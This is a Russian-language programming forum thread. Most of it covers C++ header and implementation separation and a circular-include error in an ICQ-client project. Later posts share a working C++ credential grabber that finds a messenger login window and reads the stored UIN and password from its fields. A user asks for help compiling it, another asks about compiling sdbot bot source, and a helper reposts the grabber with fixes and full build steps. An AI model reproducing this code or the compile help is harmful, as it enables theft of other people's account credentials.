Меня лично учили так(Дейтелы пишут также): нужно отделять определение(интерфейс) от реализации. В объявлении класса не должна находиться реализация методов. Т.е. внутри определения класса - только прототипы методов. Класс - это конечный программный продукт. Клиентам, которые пользуются классом, совсем не обязательно видеть, как реализованы методы. Им нужно знать какими методами можно воспользоваться и какие результаты будут получены. Поэтому внутри класса методы должны находиться в следующем порядке: сначала public, далее protected, и лишь потом private. Цитата из Дейтелов: Т.е. для класса создаем 2-а файла: .cpp(с реализацией методов) и .h(с объявлением класса). В свои включаем хедер, проект собираем вместе с файлом .cpp. Это не касается встроенных функций. Они должны находиться в объявлении класса. И ещё нужно использовать директивы препроцессора #ifndef, #define, #endif чтобы не допускать повторного включения заголовочных файлов. P.S. Страуструп:
Спасибо, т.е. все уперается в инкапсюляцию... А вот конструкторы и деструкторы описываются в теле класса?
Нет. Вся реализация, в том числе конструкторов и деструкторов, вне объявления класса. Хотя если вы пишите небольшой класс, возможно и не стоит строго следовать всем канонам, но зато это войдёт у вас в привычку.
Справедливо только для C++. ИМХО это крайне неправильно(ну в других языках даже такой возможности нет), но если так не делать, появится куча ошибок при создании проекта, когда один класс используется в нескольких. Связано с тем, что в С++ нельзя скомпилить файл, не зная прототипов.
Помогите написать такой код на C#: Чтобы на каждый тик таймера выделялась следующая буква из текстогого поля...
Нужна помощь в C# Надо сделать таблицу как в excel'e Скажем чтоб было 3 строки и 10 столбцов. Подскажите плз.
Подскажите пожалуйста, как в MS Visual C++ 2008 .NET сделать, чтобы 2 неких .h файла (например, 2 формы) могли получить доступ к классам друг друга? А то делаю в одном #include "file2.h", в другом #include "file1.h" - в итоге классы друг друга они не видят...
Дело в том, что в моём случае в одном из этих хидеров и объявлен класс, которому нужен доступ к классу формы, объявленному в другом хидере. Причём источник ошибок для меня совершенно неясен: просто "не виден" в одном файле класс, объявленный в другом. Видимо, это как-то связано именно с тем, что файлы ссылаются друг на друга... Хотя #pragma once стоит в обоих и сообщений о достижении максимальной глубины вложеннности #include'ов (что происходит если её убрать ) не появляется.
хз.. может че то перепутал при объявлении класса? какая ошибка? ну и исходники в студию плз. я особо в с++ не силен, но посмотрим что можно сделать
Исходники длинные, но вот существенные части: // CommonClass.h #pragma once #include "Form1.h" //#include "CommonClass.cpp" using namespace System; // . . . using namespace ICQ_client; public ref class CommonClass{ // Объявления методов, параметров и т.д. }; // Form1.h #pragma once #include "CommonClass.h" using namespace System; // . . . namespace ICQ_client { public ref class Form1 : public System::Windows::Forms::Form { // . . . CommonClass^ common; // Тут вылазит ошибка C2143: syntax error : missing ';' before '^', т.е. он не понимает, что CommonClass - это название класса. //. . . }; } Причём если в CommonClass.h не инклудить Form1.h, то в Form1 класс виден. И наоборот, если #include "CommonClass.h" убрать из файла Form1.h, файл CommonClass.h проходится нормально. Была мысль, что что-то напутано с ; , но это кажется маловероятным.
Извиняюсь, нечаянно дописал при переносе кода. На самом деле там такого, конечно, нет Ну и для понимания дао программы действительно нужно: CommonClass.cpp #pragma once #include "StdAfx.h" #include "CommonClass.h" using namespace System::Text; // . . . CommonClass::CommonClass() { } bool CommonClass::flapHeader(...) { // . . . } // . . .
Ладно, в общем, всё, переделал по-другому, пришлось часть функций класса рассовывать по формам, но вроде (тьфу-тьфу-тьфу) работает. Всё равно +1 за попытку помочь
Подскажите пожайлуста как с помощью MS Visual C++ откомпилировать этот исходник.. С подобным сталкиваюсь первый раз.. void main() { // Объявим переменные, необходимые для работы HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм char* pUIN; // Указатель на буфер для UIN char* pPass; // Указатель на буфер для пароля int iUIN; // Длина UIN int iPass; // Длина пароля // Найдем окно диалога авторизации hManForm=FindWindow("TManForm",0); // Расположенная на нем группа элементов управления hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0); // Список с UIN'ами hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0); // Получим длину текста в списке iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1; // Выделяем необходимую память для буфера pUIN=(char*)LocalAlloc(0, iUIN); // Получим непосредственно текст SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN); // Поле с паролем hEdit=FindWindowEx(hGroupBox,0,"TEdit",0); // Дальше все по аналогии с UIN'ом iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1; pPass=(char*)LocalAlloc(0, iPass); SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass); //Выведем что получилось cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass; // Освободим память LocalFree(pUIN); LocalFree(pPass); }
Подскажи как вооше от компелировать в lcc-win32 когда я пытаюсь откомпилировать исходный код sdbot'a выдаёт ошибку
_Sanich Чтобы скомпилировать в VS 2008 Express Edition сделал следующее: File > New > Project... > Win32 console application. Затем файл <Имя_проекта.cpp> привёл к такому виду: Code: #include "stdafx.h" // Подключим модули, нужные для работы программы #include <windows.h> #include <iostream> // Для удобства работы с cout using namespace std; void main() { // Объявим переменные, необходимые для работы HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм char* pUIN; // Указатель на буфер для UIN char* pPass; // Указатель на буфер для пароля int iUIN; // Длина UIN int iPass; // Длина пароля // Найдем окно диалога авторизации hManForm=FindWindow(L"TManForm",0); // Расположенная на нем группа элементов управления hGroupBox=FindWindowEx(hManForm,0,L"TGroupBox",0); // Список с UIN'ами hComboBox=FindWindowEx(hGroupBox,0,L"TComboBox",0); // Получим длину текста в списке iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1; // Выделяем необходимую память для буфера pUIN=(char*)LocalAlloc(0, iUIN); // Получим непосредственно текст SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN); // Поле с паролем hEdit=FindWindowEx(hGroupBox,0,L"TEdit",0); // Дальше все по аналогии с UIN'ом iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1; pPass=(char*)LocalAlloc(0, iPass); SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass); //Выведем что получилось cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass; // Освободим память LocalFree(pUIN); LocalFree(pPass); } Обрати внимание на буквы "L" перед строковыми константами (переводит строку в Unicode) - без этого (по крайней мере, в 2008 студии) работать не стало. После указанных действий нажал F7 и всё скомпилировалось. Извини, если рассказал излишне подробно, но просто мне неясно, на каком этапе возникли затруднения, поэтому постарался описать так, чтобы стало понятно даже чайнику